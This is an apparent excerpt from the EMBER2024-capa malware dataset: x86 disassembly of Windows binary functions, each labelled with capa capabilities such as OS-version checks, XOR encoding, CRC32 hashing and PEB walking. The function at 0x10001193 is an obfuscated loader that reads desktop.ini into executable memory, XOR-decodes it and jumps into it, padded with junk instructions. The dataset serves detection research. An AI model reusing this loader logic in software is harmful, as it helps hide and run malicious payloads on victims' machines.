joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41d587
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x4521d0]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.0041d3e6
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.0041d8e0
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x41d5d6
cmp dword [ebp - 0x1c], 5
jb 0x41d5ee
jmp 0x41d5ea
cmp dword [ebp - 0x10], 1
jne 0x41d5ee
cmp dword [ebp - 0x1c], 4
ja 0x41d5ea
jne 0x41d5ee
cmp dword [ebp - 0x18], 0
jbe 0x41d5ee
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x449bcc
call fcn.0041a2e0
test eax, eax
jge 0x41d60f
mov byte [0x4538d0], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0041d8d0
add ebp, 0x78
leave
ret

Function at 0x41d8d0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4521d0]
jne 0x41d8da
repz ret
jmp fcn.00423802

Function at 0x420722
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
jne 0x42074f
call fcn.00423747
mov dword [eax], esi
call fcn.00423734
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.0041db6e
add esp, 0x14
push 0x16
pop eax
pop esi
ret
test dword [esp + 0xc], 0xfffffff9
jne 0x42072b
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x42077e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0042375a
pop ecx
call fcn.00423734
mov eax, dword [eax]
pop esi
ret
test al, 0x10
jne 0x4207a5
test al, 1
je 0x4207a5
test byte [esp + 0xc], 2
je 0x4207a5
call fcn.00423747
mov dword [eax], 5
call fcn.00423734
mov dword [eax], 0xd
jmp 0x420775
xor eax, eax
pop esi
ret
Function at 0x429acb
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x452df8]
je 0x429ae6
inc edi
cmp edi, 0x17
jb 0x429ad7
cmp edi, 0x17
jae 0x429c66
push ebp
push 3
call fcn.0043b093
cmp eax, 1
pop ecx
je 0x429c32
push 3
call fcn.0043b093
test eax, eax
pop ecx
jne 0x429b1a
cmp dword [0x452270], 1
je 0x429c32
cmp ebx, 0xfc
je 0x429c65
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x453f08
push ebp
call fcn.00423d8d
add esp, 0xc
test eax, eax
je 0x429b50
push esi
push esi
push esi
push esi
push esi
call fcn.0041da3a
add esp, 0x14
push 0x104
mov esi, 0x453f21
push esi
push 0
mov byte [0x454025], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x429b94
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.00423d8d
add esp, 0xc
test eax, eax
je 0x429b94
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.0041da3a
add esp, 0x14
push esi
call fcn.00421570
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x429bd9
push esi
call fcn.00421570
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x45421c
push 0x44a3b4
sub ecx, eax
push ecx
push eax
call fcn.00430906
add esp, 0x14
test eax, eax
je 0x429bd9
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.0041da3a
add esp, 0x14
jmp 0x429bdb
xor esi, esi
push 0x44a3b0
push ebx
push ebp
call fcn.00420a9c
add esp, 0xc
test eax, eax
je 0x429bfb
push esi
push esi
push esi
push esi
push esi
call fcn.0041da3a
add esp, 0x14
push dword [edi*8 + 0x452dfc]
push ebx
push ebp
call fcn.00420a9c
add esp, 0xc
test eax, eax
je 0x429c1d
push esi
push esi
push esi
push esi
push esi
call fcn.0041da3a
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.0043aed6
add esp, 0xc
jmp 0x429c65
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x429c65
cmp ebp, 0xffffffff
je 0x429c65
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x452dfc]
push dword [esi]
call fcn.00421570
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x43aed6
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.004230b3
xor ebx, ebx
cmp dword [0x4544ac], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x43afac
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x43b08c
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x43b08c
push eax
call fcn.00423045
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4544ac], eax
call esi
push eax
call fcn.00423045
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4544b0], eax
call esi
push eax
call fcn.00423045
mov dword [0x4544b4], eax
lea eax, [ebp - 0xc]
push eax
call fcn.00429736
test eax, eax
pop ecx
pop ecx
je 0x43af7a
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0041da3a
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x43afac
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00423045
cmp eax, ebx
pop ecx
mov dword [0x4544bc], eax
je 0x43afac
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00423045
pop ecx
mov dword [0x4544b8], eax
mov eax, dword [0x4544b8]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x43b031
cmp dword [0x4544bc], ecx
je 0x43b031
push eax
call fcn.004230bc
push dword [0x4544bc]
mov esi, eax
call fcn.004230bc
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x43b031
cmp edi, ebx
je 0x43b031
call esi
cmp eax, ebx
je 0x43affe
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x43affe
test byte [ebp - 0x18], 1
jne 0x43b031
lea eax, [ebp - 0x10]
push eax
call fcn.004297e5
test eax, eax
pop ecx
je 0x43b019
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0041da3a
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x43b028
or dword [ebp + 0x10], 0x200000
jmp 0x43b06c
or dword [ebp + 0x10], 0x40000
jmp 0x43b06c
mov eax, dword [0x4544b0]
cmp eax, dword [ebp - 8]
je 0x43b06c
push eax
call fcn.004230bc
cmp eax, ebx
pop ecx
je 0x43b06c
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x43b06c
mov eax, dword [0x4544b4]
cmp eax, dword [ebp - 8]
je 0x43b06c
push eax
call fcn.004230bc
cmp eax, ebx
pop ecx
je 0x43b06c
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4544ac]
call fcn.004230bc
cmp eax, ebx
pop ecx
je 0x43b08c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x43b08e
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40279c
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
imul edx, dword [0x40c02c], 0x8088405
inc edx
mov dword [0x40c02c], edx
mul edx
mov eax, edx
ret

Function at 0x4042e8
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x4000040
mov ebx, 0x50004100
xor eax, ebx
mov ecx, 0x821800
mov edi, 0x20600001
xor ecx, edi
xor eax, ecx
mov esi, eax
mov edi, 0xffffffff
xor esi, edi
and esi, 0x9355c57
and eax, 0xf6caa3a8
or eax, esi
mov edx, 0x1870b6e1
xor edx, 0x18306761
mov ebx, 0x70a2008a
mov ecx, 0x65bd124b
xor ecx, ebx
mov ebx, 0x53b40ad8
xor ecx, ebx
add esp, 0xfffffffc
mov ebx, esp
mov dword [ebx], ecx
mov ebx, 0x5333af91
mov edx, 0x737a4805
xor edx, ebx
mov edi, 0x4620a808
mov esi, 0x20c25785
xor edi, esi
xor edi, edx
pop eax
xor edi, eax
mov eax, edi
xor eax, 0
je 0x403fa8
mov dword [0x40c02c], eax
mov byte [0x40c033], 2
mov byte [0x40c034], 2
mov byte [0x40c035], 3
mov word [0x40c3dc], 0
mov word [0x40c3ec], 1
call fcn.0040285c
mov eax, 0x40c038
mov edx, 0x404398
call fcn.00403c25
mov eax, 0x40c204
mov edx, 0x404398
call fcn.00403c25
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404391
ret

Function at 0x40520c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405245
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403278
jmp 0x40524e
mov eax, ebx
mov edx, esi
call fcn.0040322c
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x405258
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405279
mov al, byte [esp]
jmp 0x40527b
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x4069dc
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x406a24
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
mov eax, ebx
call fcn.00406978
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
call sub.kernel32.dll_GetFileAttributesA
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406a2b
lea eax, [ebp - 4]
call fcn.00403198
ret
Function at 0x4021f9
Capabilities:
Terminate process

Disassembly:
push 0x10
push 0x4027d8
call fcn.00402484
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x1c], ebx
mov edi, 0x403378
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x40200e
cmp eax, esi
jne 0x402001
xor esi, esi
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x402011
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401fe8
xor esi, esi
inc esi
mov eax, dword [0x403374]
cmp eax, esi
jne 0x402024
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x40205f
mov eax, dword [0x403374]
test eax, eax
jne 0x402059
mov dword [0x403374], esi
push 0x401128
push 0x40111c
call fcn.00401f65
pop ecx
pop ecx
test eax, eax
je 0x40205f
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x402129
mov dword [0x403044], esi
mov eax, dword [0x403374]
cmp eax, esi
jne 0x402083
push 0x401118
push 0x40110c
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x403374], 2
cmp dword [ebp - 0x1c], ebx
jne 0x402090
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x403384], ebx
je 0x4020b1
push 0x403384
call fcn.004023f9
pop ecx
test eax, eax
je 0x4020b1
push ebx
push 2
push ebx
call dword [0x403384]
push dword [0x40302c]
push dword [0x403030]
push dword [0x403028]
call fcn.004016be
add esp, 0xc
mov dword [0x403040], eax
cmp dword [0x403034], ebx
jne 0x40210f
push eax
call dword [sym.imp.msvcrt.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x20], ecx
push eax
push ecx
call sub.msvcrt.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x403044], ebx
jne 0x40211d
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x403040]
call fcn.004024c9
ret
call fcn.004025d1
jmp 0x401fc6
Function at 0x41966c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
test eax, edx
je 0x4196c4
movzx ecx, word [edx]
cmp cx, word [eax]
je 0x41967f
movzx eax, word [eax]
sub eax, ecx
jmp 0x4196a6
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
shl ecx, 1
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x4196a7
add ecx, 4
js 0x419697
pop eax
pop ebx
ret
bsf ebx, ebx
shr ebx, 4
add ebx, ebx
add ecx, ebx
jns 0x4196a4
movzx eax, word [ecx + eax]
movzx edx, word [ecx + edx]
sub eax, edx
pop ebx
pop ebx
jmp 0x4196a6
test eax, eax
je 0x4196d0
test edx, edx
jne 0x419670
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret

Function at 0x41c2e0
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffdf8
mov ebx, eax
mov eax, ebx
call fcn.00403890
mov ebp, eax
push ebp
push 0
push 0
mov ecx, ebx
xor edx, edx
mov eax, 0xfde9
call fcn.00408424
mov edi, eax
cmp edi, 0x104
jbe 0x41c28b
mov eax, edi
add eax, eax
call 0x400d90
mov esi, eax
jmp 0x41c28d
mov esi, esp
push ebp
push esi
push edi
mov ecx, ebx
xor edx, edx
mov eax, 0xfde9
call fcn.00408424
push esi
call fcn.00409d90
xor ebx, ebx
mov eax, edi
dec eax
test eax, eax
jl 0x41c2c6
inc eax
xor edx, edx
mov ecx, ebx
shl ecx, 5
shr ebx, 0x1b
or ecx, ebx
mov ebx, ecx
movzx ecx, word [esi + edx*2]
xor ebx, ecx
inc edx
dec eax
jne 0x41c2b0
mov eax, esp
cmp esi, eax
je 0x41c2d3
mov eax, esi
call 0x400dac
mov eax, ebx
add esp, 0x208
pop ebp
pop edi
pop esi
pop ebx
ret
push esi
push ebx
mov esi, eax
xor eax, eax
push esi
rol eax, 5
mov bl, byte [esi]
test bl, 0x80
jne 0x41c30c
cmp bl, 0
je 0x41c308
cmp bl, 0x41
jl 0x41c303
cmp bl, 0x5a
jg 0x41c303
or bl, 0x20
xor al, bl
inc esi
jmp 0x41c2e7
pop ecx
pop ebx
pop esi
ret
pop eax
pop ebx
pop esi
jmp 0x41c24c

Function at 0x41ff3c
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor esi, esi
mov ecx, 0x4c090c
mov eax, esi
mov edx, 8
test al, 1
je 0x41ff58
shr eax, 1
xor eax, 0xedb88320
jmp 0x41ff5a
shr eax, 1
dec edx
jne 0x41ff4b
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x41ff44
pop esi
ret

Function at 0x41ff70
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ecx
mov esi, ecx
mov edi, edx
mov ebx, eax
cmp dword [0x4c0908], 0
jne 0x41ff9a
call fcn.0041ff3c
mov dword [esp], 0x4c0908
mov edx, dword [esp]
mov eax, 1
lock xchg dword [edx], eax
mov eax, edi
test esi, esi
je 0x41ffc4
mov edx, 0xff
and edx, ebx
movzx ecx, byte [eax]
xor dx, cx
movzx edx, dx
mov edx, dword [edx*4 + 0x4c090c]
shr ebx, 8
xor edx, ebx
mov ebx, edx
dec esi
inc eax
test esi, esi
jne 0x41ffa0
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x462ddc
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov dl, 0xb5
mov ebx, eax
xor eax, eax
mov ecx, eax
mov esi, ebx
shr esi, cl
mov ecx, esi
and cl, 0xff
xor dl, cl
inc eax
cmp eax, 4
jne 0x462de4
mov eax, edx
pop esi
pop ebx
ret

Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x10003490
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10049200
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x10056240]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
push 0x2c
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
push 0
push esi
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
call sub.VCRUNTIME140.dll_memset
lea edi, [esi + 0x3c]
add esp, 0xc
lea eax, [edi + 0x10]
mov dword [ebp - 0x10], edi
mov dword [eax + 4], 0
mov dword [eax], 0
mov dword [eax + 8], 0
mov dword [ebp - 4], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
mov byte [edi], 0
mov dword [edi + 0xc], 0
mov dword [edi + 8], 0
mov dword [edi + 4], 0
mov ecx, dword [eax + 4]
test ecx, ecx
jns 0x10003588
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
xor ecx, ecx
test eax, eax
cmovg ecx, eax
push ecx
lea ecx, [edi + 0x10]
call fcn.1001d180
lea eax, [edi + 0x10]
mov dword [eax], 0
xorps xmm0, xmm0
mov dword [edi + 0x2c], 0
mov eax, esi
mov dword [edi + 0x30], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x34], 0
mov dword [esi + 0x80], 0
mov dword [esi + 0x7c], 0
mov dword [esi + 0x84], 0
movups xmmword [esi + 0x74], xmm0
mov dword [esi + 0x84], 0
mov dword [esi + 0x88], 0
mov dword [esi + 0x8c], 0
mov dword [esi + 0x90], 0
mov dword [esi + 0x94], 0
mov dword [esi + 0x98], 0
mov dword [esi + 0x9c], 0
mov dword [esi + 0xa0], 0
mov dword [esi + 0xa4], 0
mov dword [esi + 0x30], 0xffffffff
mov dword [esi + 0x2c], 0xffffffff
mov dword [esi + 0x38], 0
mov dword [esi + 0x34], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10005e70
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, edx
not ebx
mov esi, ecx
mov eax, ebx
test edi, edi
je 0x10005ed1
mov cl, byte [esi]
lea esi, [esi + 1]
dec edi
cmp cl, 0x23
jne 0x10005eb4
cmp edi, 2
jb 0x10005eb4
cmp byte [esi], cl
jne 0x10005eb4
cmp byte [esi + 1], cl
jne 0x10005eb4
mov eax, ebx
movzx ecx, cl
movzx edx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x1004c868]
jmp 0x10005e85
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x1004c868]
test edi, edi
jne 0x10005e85
pop edi
pop esi
not eax
pop ebx
pop ebp
ret
mov cl, byte [esi]
inc esi
test cl, cl
je 0x10005f00
cmp cl, 0x23
jne 0x10005ee7
cmp byte [esi], cl
jne 0x10005ee7
cmp byte [esi + 1], cl
cmove eax, ebx
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
mov cl, byte [esi]
inc esi
xor eax, dword [edx*4 + 0x1004c868]
test cl, cl
jne 0x10005ed8
pop edi
pop esi
not eax
pop ebx
pop ebp
ret
Function at 0x100060a0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
test ebx, ebx
je 0x100060b3
mov dword [ebx], 0
mov edx, 0x1004c41c
call fcn.10005f20
mov esi, eax
test esi, esi
je 0x100061d2
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
push esi
call edi
add esp, 4
mov dword [ebp + 8], eax
cmp eax, 0xffffffff
je 0x100061c8
push 2
push 0
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x100061c8
push esi
call edi
mov edi, eax
add esp, 4
cmp edi, 0xffffffff
je 0x100061c8
push 0
push dword [ebp + 8]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x100061c8
mov ecx, edi
call fcn.10008c80
mov dword [ebp + 8], eax
test eax, eax
je 0x100061c8
push esi
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
push esi
cmp eax, edi
je 0x100061b1
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov ecx, dword [0x10056a60]
add esp, 4
test ecx, ecx
je 0x1000619e
movsx edx, word [ecx + 0x5eec]
lea eax, [ecx + 0x5ef0]
mov esi, dword [ecx + 0x3f10]
lea eax, [eax + edx*8]
cmp dword [eax], esi
je 0x10006194
lea eax, [edx + 1]
mov edi, 6
cdq
idiv edi
movzx eax, dx
mov word [ecx + 0x5eec], ax
cwde
add eax, 0xbde
xor edx, edx
lea eax, [ecx + eax*8]
mov dword [eax], esi
mov dword [eax + 4], edx
inc word [eax + 6]
inc dword [ecx + 0x5ee8]
push dword [ebp + 8]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
test ebx, ebx
je 0x100061c0
mov dword [ebx], edi
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
pop ebp
ret
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret
Function at 0x1000c080
Capabilities:
Hash data with crc32

Disassembly:
push ebx
mov bl, byte [ecx]
or eax, 0xffffffff
push esi
lea esi, [ecx + 1]
or ecx, 0xffffffff
push edi
test bl, bl
je 0x1000c0bf
cmp bl, 0x23
jne 0x1000c0a1
cmp byte [esi], bl
jne 0x1000c0a1
cmp byte [esi + 1], bl
cmove eax, ecx
movzx edx, al
movzx ecx, bl
mov bl, byte [esi]
xor edx, ecx
shr eax, 8
inc esi
mov ecx, 0xffffffff
xor eax, dword [edx*4 + 0x1004c868]
test bl, bl
jne 0x1000c092
mov ecx, dword [0x10056a60]
not eax
mov esi, dword [ecx + 0x3f78]
mov edi, dword [ecx + 0x3f80]
lea ebx, [edi + esi*8]
test esi, esi
je 0x1000c0fe
nop word [eax + eax]
mov edx, esi
shr edx, 1
cmp dword [edi + edx*8], eax
lea ecx, [edi + edx*8]
jae 0x1000c0f8
lea edi, [ecx + 8]
or ecx, 0xffffffff
sub ecx, edx
add esi, ecx
jmp 0x1000c0fa
mov esi, edx
test esi, esi
jne 0x1000c0e0
cmp edi, ebx
je 0x1000c10d
cmp dword [edi], eax
jne 0x1000c10d
mov eax, dword [edi + 4]
pop edi
pop esi
pop ebx
ret
pop edi
pop esi
xor eax, eax
pop ebx
ret
Function at 0x10012fb0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x10056240]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
lea edx, [ebp - 8]
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov esi, 4
mov eax, dword [edi + 0xec]
mov ebx, dword [edi + 0xf4]
mov ebx, dword [ebx + eax*4 - 4]
not ebx
nop dword [eax + eax]
movzx eax, byte [edx]
lea edx, [edx + 1]
movzx ecx, bl
xor ecx, eax
shr ebx, 8
xor ebx, dword [ecx*4 + 0x1004c868]
sub esi, 1
jne 0x10012ff0
mov eax, dword [edi]
not ebx
cmp dword [eax + 0x3fcc], ebx
jne 0x10013027
push ecx
push dword [ebp - 0xc]
lea edx, [esi + 4]
mov ecx, ebx
call fcn.1001c950
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10047b01
mov esp, ebp
pop ebp
ret 4